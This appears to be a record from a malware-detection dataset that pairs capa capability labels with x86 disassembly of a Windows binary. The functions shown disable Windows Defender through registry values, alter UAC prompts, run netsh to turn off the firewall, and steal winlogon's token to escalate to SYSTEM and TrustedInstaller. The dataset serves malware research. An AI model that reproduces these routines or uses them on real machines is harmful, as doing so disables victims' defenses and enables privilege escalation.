joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10041ea0
Capabilities:
Disable windows defender features via registry on windows
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10148870
mov eax, dword fs:[0]
push eax
sub esp, 0x14
push ebx
push esi
push edi
mov eax, dword [0x101a49d4]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 4], 0
lea eax, [ebp - 0x14]
push eax
push 0xf003f
push 0
push 0x10191b68
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x10041faf
mov dword [ebp - 0x18], 1
push 4
lea eax, [ebp - 0x18]
push eax
push 4
push 0
push str.DisableAntiSpyware
push dword [ebp - 0x14]
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
call esi
push 0
lea eax, [ebp - 0x1c]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push str.Real_Time_Protection
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x14], eax
push 4
lea ecx, [ebp - 0x18]
push ecx
push 4
push 0
push str.DisableRealtimeMonitoring
push eax
call esi
push 4
lea eax, [ebp - 0x18]
push eax
push 4
push 0
push str.DisableBehaviorMonitoring
push dword [ebp - 0x14]
call esi
push 4
lea eax, [ebp - 0x18]
push eax
push 4
push 0
push str.DisableOnAccessProtection
push dword [ebp - 0x14]
call esi
push 4
lea eax, [ebp - 0x18]
push eax
push 4
push 0
push str.DisableScanOnRealtimeEnable
push dword [ebp - 0x14]
call esi
push 4
lea eax, [ebp - 0x18]
push eax
push 4
push 0
push str.DisableIOAVProtection
push dword [ebp - 0x14]
call esi
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10042010
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [0x101a49d4]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push 0x1a
push str.ConsentPromptBehaviorAdmin
lea ecx, [ebp - 0x34]
mov dword [ebp - 0x34], 0
mov esi, edx
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 7
call fcn.10051fd0
push 0x39
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 7
call fcn.10051fd0
cmp dword [ebp - 0x20], 8
lea edx, [ebp - 0x38]
push 4
push edx
lea ecx, [ebp - 0x34]
mov dword [ebp - 0x38], esi
cmovae ecx, dword [ebp - 0x34]
lea eax, [ebp - 0x1c]
cmp dword [ebp - 8], 8
push 4
cmovae eax, dword [ebp - 0x1c]
push ecx
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegSetKeyValueW]
mov edx, dword [ebp - 8]
test eax, eax
sete bl
cmp edx, 8
jb 0x100420d9
mov ecx, dword [ebp - 0x1c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x100420cf
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1004216c
push edx
push ecx
call fcn.1011a823
add esp, 8
mov edx, dword [ebp - 0x20]
xor eax, eax
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 7
mov word [ebp - 0x1c], ax
cmp edx, 8
jb 0x10042123
mov ecx, dword [ebp - 0x34]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10042119
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1004216c
push edx
push ecx
call fcn.1011a823
add esp, 8
test bl, bl
jne 0x1004215c
mov esi, dword [0x101aba00]
sub esp, 0x18
mov ecx, esp
push 0x29
push str.48965456456456465654errorAdmin_required_
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
call fcn.10051fd0
mov ecx, esi
call fcn.10023bb0
add esp, 0x18
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.1011a2e1
mov esp, ebp
pop ebp
ret
call fcn.10125fc5
int3
Function at 0x10042180
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x84
mov eax, dword [0x101a49d4]
xor eax, ebp
mov dword [ebp - 4], eax
test cl, cl
mov dword [ebp - 0x1c], 0
mov edx, 0x10191e3c
mov dword [ebp - 0xc], 0
mov eax, 0x10191e44
mov dword [ebp - 8], 7
cmove edx, eax
mov ecx, edx
push esi
lea esi, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x100421c0
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x1c]
call fcn.10051fd0
mov ecx, dword [ebp - 0xc]
mov eax, 0x7ffffffe
sub eax, ecx
cmp eax, 0x28
jb 0x100422f3
cmp dword [ebp - 8], 8
lea eax, [ebp - 0x1c]
push ecx
cmovae eax, dword [ebp - 0x1c]
push eax
push 0x28
push str.netsh_advfirewall_set_allprofiles_state
push ecx
push dword [ebp - 0x38]
lea ecx, [ebp - 0x34]
call fcn.1005dba0
lea eax, [ebp - 0x34]
push eax
lea ecx, [ebp - 0x1c]
call fcn.100522e0
mov edx, dword [ebp - 0x20]
cmp edx, 8
jb 0x10042252
mov ecx, dword [ebp - 0x34]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10042248
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100422f8
push edx
push ecx
call fcn.1011a823
add esp, 8
cmp dword [ebp - 8], 8
lea eax, [ebp - 0x2c]
push 0x10
push 0
lea esi, [ebp - 0x1c]
cmovae esi, dword [ebp - 0x1c]
push eax
call fcn.1011ce00
add esp, 0xc
lea eax, [ebp - 0x80]
push 0x44
push 0
push eax
call fcn.1011ce00
add esp, 0xc
mov dword [ebp - 0x80], 0x44
xor eax, eax
mov dword [ebp - 0x54], 1
mov word [ebp - 0x50], ax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x80]
push eax
push 0
push 0
push 0x10
push 0
push 0
push 0
push esi
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov edx, dword [ebp - 8]
cmp edx, 8
jb 0x100422e4
mov ecx, dword [ebp - 0x1c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x100422da
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100422fd
push edx
push ecx
call fcn.1011a823
add esp, 8
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.1011a2e1
mov esp, ebp
pop ebp
ret
call fcn.10021260
call fcn.10125fc5
call fcn.10125fc5
int3
Function at 0x10043dd0
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, ecx
mov ebx, edx
lea ecx, [ebp - 4]
mov dword [ebp - 0x10], eax
push ecx
lea ecx, [ebp - 8]
push ecx
push 0
push 0
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
mov eax, dword [ebp - 4]
xor ecx, ecx
inc eax
mov edx, 2
mov dword [ebp - 4], eax
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.1011a831
xor esi, esi
add esp, 4
mov edi, eax
cmp dword [ebp - 8], esi
jbe 0x10043e82
nop word [eax + eax]
mov ecx, dword [ebp - 4]
lea eax, [ebp - 0xc]
push 0
push 0
push 0
push 0
push eax
push edi
push esi
push dword [ebp - 0x10]
mov dword [ebp - 0xc], ecx
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x10043e7c
mov eax, edi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x10043e56
sub eax, edx
mov ecx, ebx
sar eax, 1
push eax
push edi
call fcn.100520e0
push 1
push 0x1018f8a8
mov ecx, ebx
call fcn.100520e0
inc esi
cmp esi, dword [ebp - 8]
jb 0x10043e30
push edi
call fcn.1011a2ef
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10045080
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x25c
mov eax, dword [0x101a49d4]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0xc
push str.winlogon.exe
lea ecx, [ebp - 0x250]
mov dword [ebp - 0x250], 0
mov dword [ebp - 0x240], 0
mov dword [ebp - 0x23c], 7
call fcn.10051fd0
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
push 0x22c
mov edi, eax
or ebx, 0xffffffff
lea eax, [ebp - 0x230]
push 0
push eax
call fcn.1011ce00
add esp, 0xc
mov dword [ebp - 0x230], 0x22c
lea eax, [ebp - 0x230]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x100451dc
mov ebx, dword [sym.imp.KERNEL32.dll_Process32NextW]
lea eax, [ebp - 0x230]
push eax
push edi
call ebx
test eax, eax
je 0x1004518e
nop word [eax + eax]
lea eax, [ebp - 0x20c]
lea edx, [eax + 2]
nop dword [eax]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x10045140
sub eax, edx
lea ecx, [ebp - 0x250]
mov edx, dword [ebp - 0x240]
sar eax, 1
cmp dword [ebp - 0x23c], 8
cmovae ecx, dword [ebp - 0x250]
cmp edx, eax
jne 0x10045180
push edx
lea edx, [ebp - 0x20c]
call fcn.10056450
add esp, 4
test eax, eax
je 0x100451cf
lea eax, [ebp - 0x230]
push eax
push edi
call ebx
test eax, eax
jne 0x10045130
or ebx, 0xffffffff
push edi
call esi
push edi
call esi
mov edx, dword [ebp - 0x23c]
cmp edx, 8
jb 0x100451eb
mov ecx, dword [ebp - 0x250]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x100451e1
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1004529b
jmp 0x100451e1
mov ebx, dword [ebp - 0x228]
cmp ebx, 0xffffffff
jne 0x10045194
jmp 0x10045191
push edi
call esi
jmp 0x10045191
push edx
push ecx
call fcn.1011a823
add esp, 8
push ebx
push 0
push 0x1000
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
lea eax, [ebp - 0x234]
push eax
push 2
push edi
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x10045212
push edi
call esi
push edi
call esi
lea eax, [ebp - 0x238]
mov dword [ebp - 0x25c], 0xc
push eax
push 2
push 2
lea eax, [ebp - 0x25c]
mov dword [ebp - 0x258], 0
push eax
push 0xf01ff
push dword [ebp - 0x234]
mov dword [ebp - 0x254], 0
call dword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
test eax, eax
jne 0x10045262
push dword [ebp - 0x234]
call esi
push dword [ebp - 0x234]
call esi
push dword [ebp - 0x238]
call dword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
test eax, eax
jne 0x10045282
push dword [ebp - 0x238]
call esi
push dword [ebp - 0x238]
call esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1011a2e1
mov esp, ebp
pop ebp
ret
call fcn.10125fc5
int3
Function at 0x100452b0
Capabilities:
Query service status
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x101a49d4]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 1
push str.ServicesActive
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
push 0x14
mov ebx, eax
push str.TrustedInstaller
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov esi, eax
test esi, esi
jne 0x100452f1
push ebx
call edi
push ebx
call edi
lea eax, [ebp - 0x2c]
push eax
push 0x24
lea eax, [ebp - 0x28]
push eax
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x10045370
mov ebx, dword [sym.imp.ADVAPI32.dll_StartServiceW]
mov eax, dword [ebp - 0x24]
cmp eax, 1
jne 0x1004532a
push 0
push 0
push esi
call ebx
test eax, eax
jne 0x10045327
push esi
call edi
mov eax, dword [ebp - 0x24]
cmp eax, 2
je 0x10045350
cmp eax, 3
je 0x10045350
cmp eax, 4
jne 0x10045359
push esi
call edi
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1011a2e1
mov esp, ebp
pop ebp
ret
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x2c]
push eax
push 0x24
lea eax, [ebp - 0x28]
push eax
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
jne 0x10045311
push esi
call edi
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1011a2e1
mov esp, ebp
pop ebp
ret
Function at 0x10045390
Capabilities:
Acquire debug privileges
Create process on windows
Impersonate user

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x8c
mov eax, dword [0x101a49d4]
xor eax, esp
mov dword [esp + 0x88], eax
push ebx
push esi
push edi
sub esp, 0x18
mov esi, ecx
mov ecx, esp
push 0x10
push str.SeDebugPrivilege
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
call fcn.10051fd0
call fcn.10044fc0
mov ecx, esp
push 0x16
push str.SeImpersonatePrivilege
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
call fcn.10051fd0
call fcn.10044fc0
add esp, 0x18
call fcn.10045080
push esi
push 0
push 0x1000
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
lea eax, [esp + 0xc]
push eax
push 2
push esi
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x10045433
push esi
call edi
push esi
call edi
lea eax, [esp + 0x10]
mov dword [esp + 0x14], 0xc
push eax
push 2
push 2
lea eax, [esp + 0x20]
mov dword [esp + 0x24], 0
push eax
push 0xf01ff
push dword [esp + 0x20]
mov dword [esp + 0x34], 0
call dword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
test eax, eax
jne 0x10045475
push dword [esp + 0xc]
call edi
push dword [esp + 0xc]
call edi
xor eax, eax
mov dword [esp + 0x5c], 1
mov word [esp + 0x60], ax
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
push 0x10
lea eax, [esp + 0x24]
push 0
push eax
call fcn.1011ce00
mov eax, dword [ebp + 0x18]
lea ecx, [ebp + 8]
add esp, 0xc
mov esi, 7
cmp dword [ebp + 0x1c], 8
mov dword [esp + 0x90], esi
cmovae ecx, dword [ebp + 8]
lea eax, [ecx + eax*2]
lea ecx, [ebp + 8]
cmovae ecx, dword [ebp + 8]
xor edx, edx
mov dword [esp + 0x7c], edx
mov dword [esp + 0x8c], edx
cmp ecx, eax
je 0x100454f8
sub eax, ecx
sar eax, 1
push eax
push ecx
lea ecx, [esp + 0x84]
call fcn.10051fd0
mov esi, dword [esp + 0x90]
mov edx, dword [esp + 0x7c]
lea ecx, [esp + 0x20]
cmp esi, 8
push ecx
lea ecx, [esp + 0x34]
push ecx
push 0
push 0
push 0x400
lea eax, [esp + 0x90]
cmovae eax, edx
push eax
push 0
push 1
push dword [esp + 0x30]
call dword [sym.imp.ADVAPI32.dll_CreateProcessWithTokenW]
mov edx, dword [esp + 0x90]
test eax, eax
sete bl
cmp edx, 8
jb 0x10045567
mov ecx, dword [esp + 0x7c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x1004555d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100455c2
push edx
push ecx
call fcn.1011a823
add esp, 8
test bl, bl
je 0x10045571
push dword [esp + 0x10]
call edi
push dword [esp + 0x10]
call edi
mov edx, dword [ebp + 0x1c]
cmp edx, 8
jb 0x100455ad
mov ecx, dword [ebp + 8]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x100455a3
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100455c7
push edx
push ecx
call fcn.1011a823
add esp, 8
mov ecx, dword [esp + 0x94]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.1011a2e1
mov esp, ebp
pop ebp
ret
call fcn.10125fc5
call fcn.10125fc5
int3
Function at 0x10045ca0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x254
mov eax, dword [0x101a49d4]
xor eax, esp
mov dword [esp + 0x250], eax
push ebx
push esi
mov esi, ecx
push edi
push 0
push 2
mov dword [esi], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 7
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, 0xffffffff
je 0x10045da3
lea eax, [esp + 0x28]
mov dword [esp + 0x28], 0x22c
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x10045d9c
mov ebx, dword [sym.imp.KERNEL32.dll_Process32NextW]
nop word [eax + eax]
mov edx, dword [esp + 0x30]
lea ecx, [esp + 0x10]
call fcn.10045720
mov ecx, dword [esp + 0x20]
test ecx, ecx
je 0x10045d54
cmp dword [esi + 0x10], 0
je 0x10045d3d
push 1
push 0x1018eeb0
mov ecx, esi
call fcn.100520e0
mov ecx, dword [esp + 0x20]
cmp dword [esp + 0x24], 8
lea eax, [esp + 0x10]
push ecx
cmovae eax, dword [esp + 0x14]
mov ecx, esi
push eax
call fcn.100520e0
mov edx, dword [esp + 0x24]
cmp edx, 8
jb 0x10045d8c
mov ecx, dword [esp + 0x10]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10045d82
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10045dba
push edx
push ecx
call fcn.1011a823
add esp, 8
lea eax, [esp + 0x28]
push eax
push edi
call ebx
test eax, eax
jne 0x10045d10
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x25c]
mov eax, esi
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.1011a2e1
mov esp, ebp
pop ebp
ret
call fcn.10125fc5
int3
Function at 0x10046180
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x94
mov eax, dword [0x101a49d4]
xor eax, esp
mov dword [esp + 0x90], eax
mov edx, dword [ecx + 0x10]
mov eax, 0x7ffffffe
sub eax, edx
push esi
mov esi, dword [ebp + 8]
cmp eax, 1
jb 0x1004632f
cmp dword [ecx + 0x14], 8
jb 0x100461b9
mov ecx, dword [ecx]
push 1
push 0x1018e18c
push edx
push ecx
push ecx
push dword [esp + 0x18]
lea ecx, [esp + 0x94]
call fcn.1005dba0
cmp dword [esi + 0x14], 8
mov eax, dword [esi + 0x10]
jb 0x100461de
mov esi, dword [esi]
push eax
push esi
lea ecx, [esp + 0x84]
call fcn.100520e0
mov esi, eax
mov dword [esp + 0x64], 0
push 0x18
lea eax, [esp + 0x68]
mov dword [esp + 0x78], 0
push esi
push eax
mov dword [esp + 0x84], 0
call fcn.1011b630
xor eax, eax
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 7
add esp, 0xc
mov word [esi], ax
mov edx, dword [esp + 0x90]
cmp edx, 8
jb 0x1004626b
mov ecx, dword [esp + 0x7c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10046261
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10046334
push edx
push ecx
call fcn.1011a823
add esp, 8
push 0x44
lea eax, [esp + 0x1c]
push 0
push eax
call fcn.1011ce00
push 0x10
lea eax, [esp + 0x18]
mov dword [esp + 0x28], 0x44
push 0
push eax
mov dword [esp + 0x40], 0xffff8300
mov dword [esp + 0x44], 0xffff8300
call fcn.1011ce00
add esp, 0x18
mov dword [esp + 0x44], 5
lea ecx, [esp + 8]
xor eax, eax
cmp dword [esp + 0x78], 8
mov word [esp + 0x48], ax
lea eax, [esp + 0x64]
cmovae eax, dword [esp + 0x64]
push ecx
lea ecx, [esp + 0x1c]
push ecx
push 0
push 0
push 0x10
push 0
push 0
push 0
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov edx, dword [esp + 0x78]
mov esi, dword [esp + 0x10]
cmp edx, 8
jb 0x1004631a
mov ecx, dword [esp + 0x64]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10046310
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10046339
push edx
push ecx
call fcn.1011a823
add esp, 8
mov ecx, dword [esp + 0x94]
mov eax, esi
pop esi
xor ecx, esp
call fcn.1011a2e1
mov esp, ebp
pop ebp
ret
call fcn.10021260
call fcn.10125fc5
call fcn.10125fc5
int3
Function at 0x1004daf0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x101a49d4]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov edi, dword [ebp + 8]
mov eax, 0xffff
mov esi, ecx
cmp ax, di
jne 0x1004db25
pop edi
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1011a2e1
mov esp, ebp
pop ebp
ret 4
mov eax, dword [esi + 0x20]
push ebx
mov ecx, dword [eax]
test ecx, ecx
je 0x1004db63
mov edx, dword [esi + 0x30]
mov ebx, dword [edx]
lea eax, [ecx + ebx*2]
cmp ecx, eax
jae 0x1004db63
lea ecx, [ebx - 1]
mov dword [edx], ecx
mov edx, dword [esi + 0x20]
mov esi, dword [edx]
lea ecx, [esi + 2]
mov dword [edx], ecx
mov word [esi], di
pop ebx
mov ax, di
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1011a2e1
mov esp, ebp
pop ebp
ret 4
cmp dword [esi + 0x4c], 0
je 0x1004dc2f
mov ebx, dword [esi + 0xc]
lea eax, [esi + 0x3c]
cmp dword [ebx], eax
jne 0x1004db8d
mov edx, dword [esi + 0x54]
mov ecx, dword [esi + 0x50]
sub edx, ecx
mov dword [ebx], ecx
mov eax, dword [esi + 0x1c]
sar edx, 1
mov dword [eax], ecx
mov eax, dword [esi + 0x2c]
mov dword [eax], edx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x1004db9a
push dword [esi + 0x4c]
push edi
jmp 0x1004dbd8
movzx eax, di
mov dword [ebp - 0x28], eax
mov eax, dword [ecx]
mov edx, dword [eax + 0x1c]
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x26]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [esi + 0x40]
push eax
call edx
sub eax, 0
je 0x1004dc02
sub eax, 1
je 0x1004dc02
sub eax, 2
jne 0x1004dc2f
push dword [esi + 0x4c]
push dword [ebp - 0x28]
call fcn.10123abe
mov ecx, 0xffff
add esp, 8
cmp ax, cx
movzx eax, di
jne 0x1004dc34
pop ebx
pop edi
mov eax, ecx
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1011a2e1
mov esp, ebp
pop ebp
ret 4
mov ebx, dword [ebp - 0x2c]
lea eax, [ebp - 0x24]
sub ebx, eax
je 0x1004dc1f
push dword [esi + 0x4c]
push ebx
push 1
push eax
call fcn.10124aa3
add esp, 0x10
cmp ebx, eax
jne 0x1004dc2f
lea eax, [ebp - 0x28]
mov byte [esi + 0x3e], 1
cmp dword [ebp - 0x30], eax
jne 0x1004db4d
mov eax, 0xffff
mov ecx, dword [ebp - 4]
pop ebx
pop edi
xor ecx, ebp
pop esi
call fcn.1011a2e1
mov esp, ebp
pop ebp
ret 4
Function at 0x1004dff0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
cmp dword [ecx + 0x38], 0
push ebx
push esi
push edi
mov dword [esp + 0xc], ecx
je 0x1004e0d8
mov esi, dword [ebp + 0x10]
mov ebx, esi
mov edx, dword [ebp + 0xc]
mov edi, edx
mov eax, dword [ebp + 8]
mov dword [esp + 0x10], eax
test esi, esi
jl 0x1004e0c7
jg 0x1004e030
test edx, edx
je 0x1004e0c7
nop dword [eax]
call fcn.10054d10
mov esi, eax
mov eax, edx
mov dword [esp + 0x14], eax
test eax, eax
jl 0x1004e084
jg 0x1004e047
test esi, esi
je 0x1004e084
cmp ebx, eax
jg 0x1004e057
jl 0x1004e051
cmp edi, esi
jae 0x1004e057
mov esi, edi
mov dword [esp + 0x14], ebx
mov ecx, dword [esp + 0xc]
mov eax, dword [esp + 0x10]
push esi
push eax
mov eax, dword [ecx + 0x20]
push dword [eax]
call fcn.1011b630
mov ecx, dword [esp + 0x18]
add esp, 0xc
sub edi, esi
sbb ebx, dword [esp + 0x14]
mov eax, dword [ecx + 0x30]
sub dword [eax], esi
mov eax, dword [ecx + 0x20]
add dword [eax], esi
jmp 0x1004e0ab
mov ecx, dword [esp + 0xc]
mov eax, dword [ecx]
mov edx, dword [eax + 0xc]
mov eax, dword [esp + 0x10]
movzx eax, byte [eax]
push eax
call edx
cmp eax, 0xffffffff
je 0x1004e0c1
mov ecx, dword [esp + 0xc]
add edi, 0xffffffff
mov esi, 1
adc ebx, 0xffffffff
add dword [esp + 0x10], esi
test ebx, ebx
jg 0x1004e030
jl 0x1004e0c1
test edi, edi
jne 0x1004e030
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 0x10]
sub edx, edi
mov eax, edx
sbb esi, ebx
mov edx, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ecx + 0x20]
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 0x10]
mov dword [esp + 0x18], esi
mov eax, dword [eax]
mov dword [esp + 0x1c], edi
mov dword [esp + 0x10], eax
test eax, eax
je 0x1004e0fa
mov eax, dword [ecx + 0x30]
mov eax, dword [eax]
jmp 0x1004e0fc
xor eax, eax
cdq
mov ebx, eax
mov eax, edx
mov dword [esp + 0x14], eax
test edi, edi
jl 0x1004e17a
jg 0x1004e10f
test esi, esi
je 0x1004e17a
test eax, eax
jl 0x1004e15e
jg 0x1004e119
test ebx, ebx
je 0x1004e15e
cmp edi, eax
jg 0x1004e129
jl 0x1004e123
cmp esi, ebx
jae 0x1004e129
mov ebx, esi
mov dword [esp + 0x14], edi
push ebx
push dword [ebp + 8]
push dword [esp + 0x18]
call fcn.1011b630
mov ecx, dword [esp + 0x18]
add esp, 0xc
mov edx, dword [ebp + 8]
sub esi, ebx
sbb edi, dword [esp + 0x14]
add edx, ebx
mov eax, dword [ecx + 0x30]
sub dword [eax], ebx
mov eax, dword [ecx + 0x20]
add dword [eax], ebx
test edi, edi
jl 0x1004e17a
jg 0x1004e161
test esi, esi
je 0x1004e17a
jmp 0x1004e161
mov edx, dword [ebp + 8]
mov eax, dword [ecx + 0x4c]
test eax, eax
je 0x1004e17a
push eax
push esi
push 1
push edx
call fcn.10124aa3
add esp, 0x10
sub esi, eax
sbb edi, 0
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
sub eax, esi
sbb edx, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc